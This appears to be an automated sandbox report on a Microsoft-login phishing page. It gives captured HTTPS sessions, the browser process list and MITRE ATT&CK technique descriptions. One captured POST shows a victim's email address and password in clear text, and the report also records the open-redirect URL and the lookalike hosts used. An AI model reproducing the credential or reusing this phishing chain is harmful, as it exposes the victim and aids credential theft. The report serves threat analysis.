2024-12-20 19:31:52 UTC	739	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 20 Dec 2024 19:31:52 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 661b7100-dd9c-40e9-a76e-c3263e66ef02 x-ms-ests-server: 2.1.19683.3 - WEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://85089a4f-e455dbd6.acmgs.com.au/api/report?catId=GW+estsfd+SEC"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-12-20 19:31:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.8	49771	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:59 UTC	1290	OUT	POST /common/login HTTP/1.1 Host: 0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au Connection: keep-alive Content-Length: 1495 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; MicrosoftApplicationsTelemetryDeviceId=babf8dd5-6ef2-4698-b5ef-479010a34193; brcap=0
2024-12-20 19:31:59 UTC	1495	OUT	Data Raw: 69 31 33 3d 30 26 6c 6f 67 69 6e 3d 6d 77 65 62 62 25 34 30 77 69 6e 64 73 6f 72 68 6f 6d 65 73 74 78 2e 63 6f 6d 26 6c 6f 67 69 6e 66 6d 74 3d 6d 77 65 62 62 25 34 30 77 69 6e 64 73 6f 72 68 6f 6d 65 73 74 78 2e 63 6f 6d 26 74 79 70 65 3d 31 31 26 4c 6f 67 69 6e 4f 70 74 69 6f 6e 73 3d 33 26 6c 72 74 3d 26 6c 72 74 50 61 72 74 69 74 69 6f 6e 3d 26 68 69 73 52 65 67 69 6f 6e 3d 26 68 69 73 53 63 61 6c 65 55 6e 69 74 3d 26 70 61 73 73 77 64 3d 25 37 44 63 46 57 25 35 44 31 37 2e 50 65 26 70 73 3d 32 26 70 73 52 4e 47 43 44 65 66 61 75 6c 74 54 79 70 65 3d 26 70 73 52 4e 47 43 45 6e 74 72 6f 70 79 3d 26 70 73 52 4e 47 43 53 4c 4b 3d 26 63 61 6e 61 72 79 3d 62 64 6c 6b 49 54 55 38 6c 46 74 48 71 6f 5a 59 4e 65 59 6e 33 45 4e 6a 74 25 32 42 6d 25 32 42 4d 35 Data Ascii: i13=0&login=mwebb%40windsorhomestx.com&loginfmt=mwebb%40windsorhomestx.com&type=11&LoginOptions=3&lrt=&lrtPartition=&hisRegion=&hisScaleUnit=&passwd=%7DcFW%5D17.Pe&ps=2&psRNGCDefaultType=&psRNGCEntropy=&psRNGCSLK=&canary=bdlkITU8lFtHqoZYNeYn3ENjt%2Bm%2BM5
2024-12-20 19:32:01 UTC	778	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 19:32:00 GMT Content-Type: text/html; charset=utf-8 Content-Length: 63778 Connection: close cache-control: no-store, no-cache pragma: no-cache vary: Accept-Encoding p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: acc636d1-f15f-480f-a6f4-2cac90890201 x-ms-ests-server: 2.1.19683.3 - SCUS ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://85089a4f-e455dbd6.acmgs.com.au/api/report?catId=GW+estsfd+SEC"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin content-encoding: gzip access-control-allow-origin: * access-control-allow-headers: *
2024-12-20 19:32:01 UTC	15606	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ec bd db 76 ea 58 b2 28 f8 9e 5f 81 e9 dc 06 b6 01 73 bf d8 8b f2 c6 5c 6c 6c 30 18 f0 bd dc 3e 42 9a 80 8c 90 b0 24 c0 78 2d f3 d6 5f d2 0f 3d ce 43 bf f5 1f d4 8f 75 44 cc a9 0b d8 5e 99 7b 57 66 9d 7d c6 c8 1c 55 cb d2 d4 bc c4 8c 19 f7 08 89 6f 3b d5 76 a5 7f d7 a9 05 c6 f6 54 fb db 2f df f0 4f 40 d6 24 cb 2a 05 83 01 45 35 4b 41 cd 36 83 01 4d d2 47 a5 20 d3 83 7f fb 25 f0 6d cc 24 05 fe 06 be d9 aa ad 31 bc 0a f4 d4 91 1e 50 f5 80 6d 04 56 c6 dc 0c 48 b2 6c cc 75 1b 3b ed bb bd be 4d 99 2d 05 64 43 b7 99 6e 97 82 36 7b b5 f7 71 c1 c3 80 3c 96 4c 8b d9 a5 b9 3d 8c 15 82 00 8c 3d 8b b1 97 b9 ba 28 05 2b bc 7b ac bf 9a b1 e0 fe 27 d3 34 6a 25 a6 8c d8 e6 a8 db d8 55 39 56 31 a6 33 c9 56 07 da e7 03 97 aa 62 8f 4b 0a 5b a8 Data Ascii: vX(_s\ll0>B$x-_=CuD^{Wf}Uo;vT/O@$*E5KA6MG %m$1PmVHlu;M-dCn6{q<L==(+{'4j%U9V13VbK[
2024-12-20 19:32:01 UTC	14460	IN	Data Raw: 8f ab 8a c3 c1 57 f0 95 d3 5b 5c 95 55 7c f2 4b 01 a3 c0 e3 ab 41 1a ef 66 3e 08 fb 1f 73 a6 8b 9b e8 62 12 5d f4 c4 f4 29 31 bd 84 8c 08 ec 10 5d 5c 96 10 54 6e 66 08 ae bb 14 3b da 59 f4 77 77 63 b0 12 69 8c c5 75 74 61 94 70 53 3d 18 45 fd f1 f9 62 b2 53 5a 4c 48 5a 96 53 44 ad 05 54 ad a1 ae 66 d6 b5 90 c0 fa 29 2f 7f b2 c2 9e 12 3b 7d a0 ee c9 1c 90 1f 2f c9 5c 9c 0a ad 4a 95 20 8b cb bf 2d 8c c3 08 4c 1b 5e 5c 97 16 d2 c3 02 a3 65 30 f5 e2 da 01 8f d8 f7 c3 10 ec c7 87 f5 31 2e 82 f9 cd 05 be c8 4a 53 e0 ab a2 00 ad 03 04 f5 f8 f1 83 26 da de 33 1c 16 92 42 39 ed 32 d6 f7 90 aa cb da 5c 61 16 08 9b 59 18 d7 8f 44 43 a2 7e dc 69 4a 46 f8 29 0f d2 5f 0a 94 72 66 f3 90 07 b9 94 4f 78 a6 8a 3e e1 59 c8 14 e9 8c e9 a6 98 1a 90 c8 f4 1f ff 8d b8 4b ca 79 Data Ascii: W[\U\|KAf>sb])1]\Tnf;YwwciutapS=EbSZLHZSDTf)/;}/\J -L^\e01.JS&3B92\aYDC~iJF)_rfOx>YKy
2024-12-20 19:32:01 UTC	16384	IN	Data Raw: e9 59 12 cf a6 18 95 15 b2 84 52 e0 d0 74 dc 9e 25 46 62 a3 89 e1 b0 55 a8 36 22 04 2a b1 96 23 7f c0 8c f1 ea d4 83 72 2f 2f 95 81 67 3b 99 4f 64 c1 d5 78 91 ad 89 35 f4 22 0c 6e fb df cd 42 d8 c9 5f f8 76 4f d2 3a 67 c4 5a 7d 11 73 10 b8 e9 4c b5 bc d4 53 77 76 9c 21 95 6c ec 6a a4 76 a6 31 cd 96 59 4a 9f 21 ce a2 24 80 62 19 60 65 ee 07 47 9c 93 ee 35 24 18 58 c9 b8 3c 09 d0 c5 54 41 dc be 8c 34 35 46 93 48 af fa c3 e6 67 ae a1 b4 4c 11 fa c1 1d b1 3c b5 e9 45 3d 18 3f 3f f6 e5 16 31 5b 14 9d 3a fe fe 78 3d bc d2 6b 36 d0 c7 cc e8 5a f5 ef 27 b6 0a a9 73 8d ec c5 45 03 15 99 33 44 2d cf 56 3f 1b 39 02 c6 51 1a 00 5a e5 6b 55 8a d2 24 8c 50 74 31 4d a3 9c 69 22 3d 87 e7 76 d3 9e 36 38 6b 1e 5d 80 89 60 03 57 3a d1 fc dd b6 fa b0 24 ed 11 8c 04 70 aa 7c Data Ascii: YRt%FbU6"*#r//g;Odx5"nB_vO:gZ}sLSwv!ljv1YJ!$b`eG5$X<TA45FHgL<E=??1[:x=k6Z'sE3D-V?9QZkU$Pt1Mi"=v68k]`W:$p\|
2024-12-20 19:32:01 UTC	16384	IN	Data Raw: f7 c7 eb e1 d5 93 29 ed 6d e9 52 42 0f bd 9f d8 9a dd ae 2e 13 fd 13 17 0d 54 f4 62 23 2c 9a a6 03 0b ab c3 8c 98 5e 03 66 c0 fa 7d 07 77 48 ea eb 7c b4 2a cd 54 9d bd 7a 45 3a 6d 1f 99 c9 67 3c bc 54 40 67 05 28 70 ed b9 0e 42 ed c1 90 2f 59 8e 58 80 05 ca 15 ca ba 74 d6 2c 9d 3b 3d 08 42 ae 73 cd 7c a7 ae a5 d3 a5 87 fb 89 a6 b0 02 29 c8 8e b3 73 44 4c 90 77 ac e1 c1 6c 41 98 f6 b4 92 3b 70 97 cd 86 d2 e3 16 1f dd 29 55 74 01 09 1a 16 5d ed 4e c2 5c 6f d9 a6 fe d9 e4 bb 19 6f 59 cf bc 70 c7 df 57 ee 28 a6 3f f2 33 7d 86 7a df fd 12 2d 84 ea 5e 99 d8 58 33 90 27 b9 a8 bb 92 89 27 1b 68 41 27 e6 85 27 02 8b 66 72 2e 71 13 c4 f5 18 a4 76 36 42 9c d9 ef a1 e9 d2 47 1e a5 ae 88 6c ee 4d 9c a7 ef 72 ce d3 87 14 ee db ab 57 f3 07 28 17 96 e4 c6 79 f5 2a 30 4d Data Ascii: )mRB.Tb#,^f}wH\|TzE:mg<T@g(pB/YXt,;=Bs\|)sDLwlA;p)Ut]N\ooYpW(?3}z-^X3''hA''fr.qv6BGlMrW(y0M
2024-12-20 19:32:01 UTC	944	IN	Data Raw: 9c 04 23 f8 bd b0 bc 54 59 5c 5e ba d9 e9 1c 5f b9 f0 fb 60 30 f2 6a f8 51 3b 78 dd f1 dc 3e 7e 53 5e 7e ec bd 9f 9d 0f e0 72 79 f7 fa 61 fb 68 1f af 4a 2b 0b ab 6b 93 ab 4d b7 1f d2 3b 6b ab 95 b5 9b 83 fe 55 ed 0a 9b 2d 57 fa ad a7 a7 dd 33 ec b2 b2 b0 b2 b6 b6 ba b9 7f b0 fb d6 c0 31 f5 3d 07 07 8b 27 62 f0 67 b1 74 74 71 7e e3 bf c1 65 3a f9 0f 3e 3d ac 9d 6e 6e 47 d8 c3 22 34 b3 70 de bd bd f1 f0 a7 92 08 73 aa ea d3 3f b3 0e e2 b0 e4 93 56 cd 32 21 bf 5d a2 b9 4e 2f 57 b8 5c 59 5b aa 94 f4 6a 85 61 a1 b2 84 05 09 cb f3 fa ad 65 2c e0 57 d1 2a fe c1 bd 15 ac 63 a9 17 27 c4 f7 16 e1 9e 5e 97 10 df c3 22 95 89 12 95 d8 07 16 fe 5b 4e be b8 84 95 05 57 92 0d 2e 61 83 ab c9 f7 b0 a2 ea 5f 6b a9 06 97 b1 97 72 29 d5 22 0e bb 5c 4e 35 89 d5 13 cb 15 59 58 Data Ascii: #TY\^_`0jQ;x>~S^~ryahJ+kM;kU-W31='bgttq~e:>=nnG"4ps?V2!]N/W\Y[jae,W*c'^"[NW.a_kr)"\N5YX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.8	49773	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:59 UTC	876	OUT	GET /e455dbd6308045dea743f49e92cf3388/ HTTP/1.1 Host: 0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; MicrosoftApplicationsTelemetryDeviceId=babf8dd5-6ef2-4698-b5ef-479010a34193; brcap=0 Sec-WebSocket-Key: CSLiq/O0eSxsfZyXizgdCQ== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-12-20 19:32:00 UTC	736	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 20 Dec 2024 19:32:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: b0ee43bd-e85e-4cc6-b375-fd075d36c802 x-ms-ests-server: 2.1.19683.3 - SEC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://85089a4f-e455dbd6.acmgs.com.au/api/report?catId=GW+estsfd+SEC"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-12-20 19:32:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.8	49776	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:32:03 UTC	939	OUT	GET /e455dbd6308045dea743f49e92cf3388/ HTTP/1.1 Host: 0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; MicrosoftApplicationsTelemetryDeviceId=babf8dd5-6ef2-4698-b5ef-479010a34193; brcap=0; ai_session=bGTMvv1/nABcVVGZeaGAgH\|1734723120038\|1734723120038 Sec-WebSocket-Key: aRfa7ZDTsPNnbRZuk1tJ3w== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-12-20 19:32:04 UTC	737	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 20 Dec 2024 19:32:04 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: b1a9b518-c1aa-497f-a10e-06cdbdc2c700 x-ms-ests-server: 2.1.19683.3 - NCUS ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://85089a4f-e455dbd6.acmgs.com.au/api/report?catId=GW+estsfd+SEC"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-12-20 19:32:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.8	49775	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:32:03 UTC	1139	OUT	POST /OneCollector/1.0/?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.6&apikey=b0c252808e614e949086e019ae1cb300-e0c02060-e3b3-4965-bd7c-415e1a7a9fde-6951&upload-time=1734723120041&time-delta-to-apply-millis=use-collector-delta&w=0&NoResponseBody=true HTTP/1.1 Host: 754c237a-e455dbd6.acmgs.com.au Connection: keep-alive Content-Length: 1858 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
2024-12-20 19:32:03 UTC	1858	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 49 44 55 58 5f 45 53 54 53 43 6c 69 65 6e 74 54 65 6c 65 6d 65 74 72 79 45 76 65 6e 74 5f 57 65 62 57 61 74 73 6f 6e 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 32 2d 32 30 54 31 39 3a 33 32 3a 30 30 2e 30 33 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 62 30 63 32 35 32 38 30 38 65 36 31 34 65 39 34 39 30 38 36 65 30 31 39 61 65 31 63 62 33 30 30 22 2c 22 65 78 74 22 3a 7b 22 61 70 70 22 3a 7b 22 76 65 72 22 3a 22 32 2e 31 2e 31 39 36 38 33 2e 33 22 2c 22 6e 61 6d 65 22 3a 22 49 44 55 58 5f 45 53 54 53 43 6c 69 65 6e 74 54 65 6c 65 6d 65 74 72 79 45 76 65 6e 74 5f 57 65 62 57 61 74 73 6f 6e 22 2c 22 73 65 73 49 64 22 3a 22 62 47 54 4d 76 76 31 2f 6e 41 42 63 56 56 47 5a 65 61 47 41 67 48 22 Data Ascii: {"name":"IDUX_ESTSClientTelemetryEvent_WebWatson","time":"2024-12-20T19:32:00.035Z","ver":"4.0","iKey":"o:b0c252808e614e949086e019ae1cb300","ext":{"app":{"ver":"2.1.19683.3","name":"IDUX_ESTSClientTelemetryEvent_WebWatson","sesId":"bGTMvv1/nABcVVGZeaGAgH"
2024-12-20 19:32:04 UTC	875	IN	HTTP/1.1 204 No Content Server: nginx Date: Fri, 20 Dec 2024 19:32:03 GMT Content-Type: text/html; charset=utf-8 Connection: close p3p: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" time-delta-millis: 3719 access-control-allow-headers: P3P,Set-Cookie,time-delta-millis access-control-allow-methods: POST access-control-allow-credentials: true access-control-allow-origin: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au access-control-expose-headers: time-delta-millis set-cookie: MC1="GUID=8feb47d84c9949dbb7c5e1c9c3894ae4&HASH=8feb&LV=202412&V=4&LU=1734723123760"; Domain=acmgs.com.au; expires=Mon, 09 Dec 2080 15:04:06 GMT; Path=/; Secure set-cookie: MS0=2f387096c8bf4d4abb5c915049c64b53; Domain=acmgs.com.au; expires=Sun, 10 Dec 2079 15:34:06 GMT; Path=/; Secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.8	49777	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:32:03 UTC	883	OUT	GET /Prefetch/Prefetch.aspx HTTP/1.1 Host: dab02a46-e455dbd6.acmgs.com.au Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
2024-12-20 19:32:03 UTC	489	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 20 Dec 2024 19:32:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: no-store, no-cache x-ms-correlation-id: 48cb4fa0-3273-408c-a6e5-f9296c2e381f x-ua-compatible: IE=Edge x-cache: CONFIG_NOCACHE x-msedge-ref: Ref A: 47CC2B815773461ABD94E31F72FDDDE3 Ref B: AMS231032603045 Ref C: 2024-12-20T19:32:03Z access-control-allow-origin: * access-control-allow-headers: *
2024-12-20 19:32:03 UTC	1252	IN	Data Raw: 34 64 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 Data Ascii: 4dd<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404
2024-12-20 19:32:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	14:30:33
Start date:	20/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	14:30:38
Start date:	20/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=1904,i,18366170521209709358,2107059869103542779,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	14:30:44
Start date:	20/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://google.com.mx//url?ob=pkmcekw7bljbM2dWBuuV7ic1KFgH&aw=f_rand_string_lowercase(8)n9QXkBk0w4OyBDvUpuk&sa=t&whi=f_rand_string_lowercase(8)zOPGXNRztppHiTbPIt5f&url=amp%2Fbraverygray.com/.dd/KcxwjqsanE-SUREDANN-bXdlYmJAd2luZHNvcmhvbWVzdHguY29t"
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

